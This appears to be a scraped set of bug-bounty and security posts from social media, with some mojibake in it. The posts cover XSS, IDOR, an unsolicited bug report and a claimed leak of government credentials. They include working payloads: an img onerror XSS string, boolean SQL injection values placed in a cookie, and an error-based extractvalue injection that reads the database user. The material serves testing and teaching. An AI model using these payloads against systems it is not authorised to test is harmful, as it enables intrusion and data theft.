@RadhaSec There was no filter, so we could perform XSS and CSRF attacks. Additionally, there was no rate limit.
</p><img src=x onerror=confirm(0)>
@icimod hello sir/madam i hope you all are good. i am security researcher recently i found a bug on your site. that bug allow to access data management system. if you need more information than contact me thanks. it's very very critical issued.
i am tired to mailing you
Found SQL Injection in [org_id] Cookie
Payloads for Testing:
-1 OR 0=6 AND 0-0=> FALSE
-1 OR 6=6 AND 0-0=> TRUE
Injected in request like this
Cookie:organization_id=-1%20OR%200%3D6%20AND%200-0
#bugbountytip#bugbounty#SQL
โ ๏ธ A group of hackers is targeting Bharat government websites. Today, they leaked 500k+ ( *.gov.in ) admin/users login credentials, and they are also continuously launching DDoS attacks on Indian government websites.
#CyberSecurity#infosecurity#Dataleak
Ever came across an API endpoint like the one below? ๐ง๏ธ
If you skipped testing these before, you probably missed out on a few IDOR vulnerabilities... ๐ฌ๏ธ
Here's how ๐ค ๐๏ธ
Some recent lessons learned:
If something is suspicious but SQLMap โthinksโ it might/might not be vulnerable, manually confirm/deny before leaving.
Payload example:
' AND extractvalue(rand(),concat(0x3a,(SELECT user()))) #
#bugbountytips#BugBounty